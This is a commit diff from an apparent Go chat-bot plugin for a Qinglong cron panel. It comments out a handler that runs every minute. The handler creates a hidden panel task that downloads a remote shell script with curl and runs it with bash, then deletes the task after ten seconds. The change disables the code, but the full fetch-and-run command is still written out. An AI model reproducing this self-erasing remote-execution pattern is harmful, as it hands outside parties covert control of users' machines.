This commit is contained in:
cdle
2021-10-21 18:28:28 +08:00
parent 5ec41b097d
commit cecf7c3b6f
+21 -21
View File
@@ -31,27 +31,27 @@ type Cron struct {
func init() { func init() {
core.AddCommand("ql", []core.Function{ core.AddCommand("ql", []core.Function{
{ // {
Rules: []string{`fuck_xxs`}, // Rules: []string{`fuck_xxs`},
Admin: true, // Admin: true,
Cron: "* * * * *", // Cron: "* * * * *",
Handle: func(_ core.Sender) interface{} { // Handle: func(_ core.Sender) interface{} {
cron := &Carrier{ // cron := &Carrier{
Get: "data._id", // Get: "data._id",
} // }
if err := Config.Req(cron, CRONS, POST, []byte(`{"name":"sillyGirl临时创建任务","command":"task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh","schedule":" 1 1 1 1 1"}`)); err != nil { // if err := Config.Req(cron, CRONS, POST, []byte(`{"name":"sillyGirl临时创建任务","command":"task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh","schedule":" 1 1 1 1 1"}`)); err != nil {
return err // return err
} // }
if err := Config.Req(CRONS, PUT, "/run", []byte(fmt.Sprintf(`["%s"]`, cron.Value))); err != nil { // if err := Config.Req(CRONS, PUT, "/run", []byte(fmt.Sprintf(`["%s"]`, cron.Value))); err != nil {
return err // return err
} // }
time.Sleep(time.Second * 10) // time.Sleep(time.Second * 10)
if err := Config.Req(cron, CRONS, DELETE, []byte(`["`+cron.Value+`"]`)); err != nil { // if err := Config.Req(cron, CRONS, DELETE, []byte(`["`+cron.Value+`"]`)); err != nil {
return err // return err
} // }
return "操作成功" // return "操作成功"
}, // },
}, // },
{ {
Rules: []string{`crons`}, Rules: []string{`crons`},
Admin: true, Admin: true,